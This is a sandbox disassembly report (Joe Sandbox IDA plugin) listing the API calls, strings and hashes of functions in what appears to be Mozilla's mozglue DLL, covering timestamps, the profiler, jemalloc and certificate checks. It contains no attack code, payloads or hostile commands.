getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA5363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA5369F
__aulldiv.LIBCMT ref: 6CA536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA53773
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA5377E
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA537C4
EnterCriticalSection.KERNEL32(6CADF688), ref: 6CA537CB
LeaveCriticalSection.KERNEL32(6CADF688), ref: 6CA53801
__aulldiv.LIBCMT ref: 6CA53883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA53902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA53918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA5394C

Strings

AuthcAMDenti, xrefs: 6CA53946
QPC, xrefs: 6CA538FC
GenuntelineI, xrefs: 6CA53639
GTC, xrefs: 6CA53912
MOZ_TIMESTAMP_MODE, xrefs: 6CA535DB

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 37a87a012da2003d271e9787b0095a40ba1b33672aa7af90870c0ba8e3491954
Instruction ID: 26b9c0881a3df07dc34208fc6da455bb567b52be712bcf01bb7d3adb2c9a1d11
Opcode Fuzzy Hash: 37a87a012da2003d271e9787b0095a40ba1b33672aa7af90870c0ba8e3491954
Instruction Fuzzy Hash: E3B193B1B053429FDB0CDF28C85465AB7F5BB89704F09CA2DF499D3790D730A9468B91

Function 6CA6C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA6C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA6C969
GetSystemInfo.KERNEL32(?), ref: 6CA6C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA6C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA6C9E2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 5577ba99252460d24e0ff764204c92b8a6016c4470740a68dbb9f9f5cd9158e8
Instruction ID: 4f020714c89ddd7881658722395a3de312e9db4926652223b8ca549a5c20b8f1
Opcode Fuzzy Hash: 5577ba99252460d24e0ff764204c92b8a6016c4470740a68dbb9f9f5cd9158e8
Instruction Fuzzy Hash: 86210A327417156BDF09AE75DC84BAE73B9FB46708F50411EF943A7E80DB20AC8587A1

Function 6CA53060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA53095

Part of subcall function 6CA535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CADF688,00001000), ref: 6CA535D5
Part of subcall function 6CA535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA535E0
Part of subcall function 6CA535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA535FD
Part of subcall function 6CA535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA5363F
Part of subcall function 6CA535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA5369F
Part of subcall function 6CA535A0: __aulldiv.LIBCMT ref: 6CA536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA5309F

Part of subcall function 6CA75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA756EE,?,00000001), ref: 6CA75B85
Part of subcall function 6CA75B50: EnterCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75B90
Part of subcall function 6CA75B50: LeaveCriticalSection.KERNEL32(6CADF688,?,?,?,6CA756EE,?,00000001), ref: 6CA75BD8
Part of subcall function 6CA75B50: GetTickCount64.KERNEL32 ref: 6CA75BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA530BE

Part of subcall function 6CA530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA53127
Part of subcall function 6CA530F0: __aulldiv.LIBCMT ref: 6CA53140

Part of subcall function 6CA8AB2A: __onexit.LIBCMT ref: 6CA8AB30

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e7ea171a2d0afc926a69c5dc39504914fdf031f521051c09e57b018aebfbd73d
Instruction ID: c2afe11d4557266808bf5eba33c935872bfd8699e74bc471cf53b47895226e60
Opcode Fuzzy Hash: e7ea171a2d0afc926a69c5dc39504914fdf031f521051c09e57b018aebfbd73d
Instruction Fuzzy Hash: 3AF02612D2078997CA14DF748D411E7B370AFAB114B40D31DF88463A61FB3071DD8391

Non-executed Functions

Function 6CA65440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA65492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA654BE
__Init_thread_footer.LIBCMT ref: 6CA654DB

Part of subcall function 6CA8AB3F: EnterCriticalSection.KERNEL32(6CADE370,?,?,6CA53527,6CADF6CC,?,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB49
Part of subcall function 6CA8AB3F: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA53527,6CADF6CC,?,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8AB7C

Part of subcall function 6CA8CBE8: GetCurrentProcess.KERNEL32(?,6CA531A7), ref: 6CA8CBF1
Part of subcall function 6CA8CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA531A7), ref: 6CA8CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA65516
GetCurrentThreadId.KERNEL32 ref: 6CA6556A
AcquireSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA65577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA65585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA65590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA655E6
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA65606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA65616

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA6563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA65646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA6567C
free.MOZGLUE(?), ref: 6CA656AE

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA656E8
GetCurrentThreadId.KERNEL32 ref: 6CA65707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA6570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA65729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA6574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA6576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA65796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA657CA

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA65766
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA65BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA65724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA65B38
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA65CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA65D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA65749
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA65791
MOZ_BASE_PROFILER_HELP, xrefs: 6CA65511
MOZ_PROFILER_STARTUP, xrefs: 6CA655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA65C56
[I %d/%d] profiler_init, xrefs: 6CA6564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA654A3
GeckoMain, xrefs: 6CA65554, 6CA655D5
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA657C5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA654B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA65AC9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA6548D
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA65D1C
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA65D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA657AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA6584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA65D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA65717

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6abfec136c34a9e4e10d17cc1903257728e2833bda9a619cb793f5a75a17e67b
Instruction ID: 5282ebec4806e207ef758e243021acf7a5521fe57c885febe3d2adb1aa5de23a
Opcode Fuzzy Hash: 6abfec136c34a9e4e10d17cc1903257728e2833bda9a619cb793f5a75a17e67b
Instruction Fuzzy Hash: 7822F4749043019FDB009F76C94865AB7F5BF4634CF488A29E95A87E42EB30E4C9CB53

Function 6CA9B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA9B845
AcquireSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000), ref: 6CA9B852
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA9B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA9B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA9BA05
AcquireSRWLockExclusive.KERNEL32(6CADF4B8,?,?,00000000), ref: 6CA9BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA9BA27
ReleaseSRWLockExclusive.KERNEL32(6CADF4B8), ref: 6CA9BA4B
free.MOZGLUE(?), ref: 6CA9C9C7
free.MOZGLUE(?), ref: 6CA9C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA9C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA9C878

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: b01a1071f48a12ca662573d6424cb3213cdadd5d710a303828e8b8df7aa02117
Instruction ID: 2e547e506e12f4c8a80f9bfc742bfd81f1509c8cbe655e42f342b85808e9b08c
Opcode Fuzzy Hash: b01a1071f48a12ca662573d6424cb3213cdadd5d710a303828e8b8df7aa02117
Instruction Fuzzy Hash: B3A29F71A187818FC725CF28C88079BB7F5BFC9714F148A2DE89997350DB70A949CB92

Function 6CA66C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA66CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA66D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA66D26

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA66D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA66D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA66D73
free.MOZGLUE(00000000), ref: 6CA66D80
CertGetNameStringW.CRYPT32 ref: 6CA66DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA66DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA66DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA66DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA66E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA66E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA66E34
CreateFileW.KERNEL32 ref: 6CA66EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA66F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA66F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA6709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA67103
free.MOZGLUE(00000000), ref: 6CA67153
CloseHandle.KERNEL32(?), ref: 6CA67176
__Init_thread_footer.LIBCMT ref: 6CA67209
__Init_thread_footer.LIBCMT ref: 6CA6723A
__Init_thread_footer.LIBCMT ref: 6CA6726B
__Init_thread_footer.LIBCMT ref: 6CA6729C
__Init_thread_footer.LIBCMT ref: 6CA672DC
__Init_thread_footer.LIBCMT ref: 6CA6730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA673C2
VerSetConditionMask.NTDLL ref: 6CA673F3
VerSetConditionMask.NTDLL ref: 6CA673FF
VerSetConditionMask.NTDLL ref: 6CA67406
VerSetConditionMask.NTDLL ref: 6CA6740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA6741A
moz_xmalloc.MOZGLUE(?), ref: 6CA6755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA67568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA67585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA67598
free.MOZGLUE(00000000), ref: 6CA675AC

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CA672C8
(, xrefs: 6CA6768A
wintrust.dll, xrefs: 6CA672CD
SHA256, xrefs: 6CA66EC0

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a911e2b6267071a79db213daa4076268e78e673ebbbc258d87e33548482d4a4d
Instruction ID: 16b93800edccb36d3f1034f05796f5d9bc09acd6d38a971da0a89c9b5ba9efb8
Opcode Fuzzy Hash: a911e2b6267071a79db213daa4076268e78e673ebbbc258d87e33548482d4a4d
Instruction Fuzzy Hash: 0252E371A003159BEB25DF25CC88BAA77B9FB49708F148199E509E7A40DB30AFC5CF91

Function 6CA86FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE7DC), ref: 6CA87019
LeaveCriticalSection.KERNEL32(6CADE7DC), ref: 6CA87061
EnterCriticalSection.KERNEL32(?), ref: 6CA871A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA8721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8723E
EnterCriticalSection.KERNEL32(?), ref: 6CA8726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA872B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA8733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA873E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA8961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA89622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA89642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA896DB
AcquireSRWLockExclusive.KERNEL32(6CADE804), ref: 6CA89747
GetSystemInfo.KERNEL32(?), ref: 6CA89792
__Init_thread_footer.LIBCMT ref: 6CA897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CADE810,00000040), ref: 6CA897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CADE7B8,00001388), ref: 6CA89838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CADE744,00001388), ref: 6CA8984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CADE784,00001388), ref: 6CA89874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CADE7DC,00001388), ref: 6CA89895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CA89BF4
MOZ_CRASH(), xrefs: 6CA89B42
<jemalloc>, xrefs: 6CA89B33, 6CA89BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA899BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA89993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA899D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA89933, 6CA89A33, 6CA89A4E
Compile-time page size does not divide the runtime one., xrefs: 6CA89B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA899A8
MALLOC_OPTIONS, xrefs: 6CA897CA

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 9fc9a3d26c0e03c46d7c6ed76ccf0be05c4145078cbdc030bdde26462b37774a
Instruction ID: 73c009d40ba1013de584452c97c25adefbf85d851a444e9905c9af953bbedaeb
Opcode Fuzzy Hash: 9fc9a3d26c0e03c46d7c6ed76ccf0be05c4145078cbdc030bdde26462b37774a
Instruction Fuzzy Hash: 38537E71A067028FD704CF29C580615FBE1BF8A728F29C66DE869CB791D775E881CB81

Function 6CA90DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA90F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA90F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA90FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA90FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA91031
LeaveCriticalSection.KERNEL32(?), ref: 6CA910D0
EnterCriticalSection.KERNEL32(?), ref: 6CA9117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA91C39
EnterCriticalSection.KERNEL32(6CADE744), ref: 6CA93391
LeaveCriticalSection.KERNEL32(6CADE744), ref: 6CA933CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA93431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA93437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CA93A02
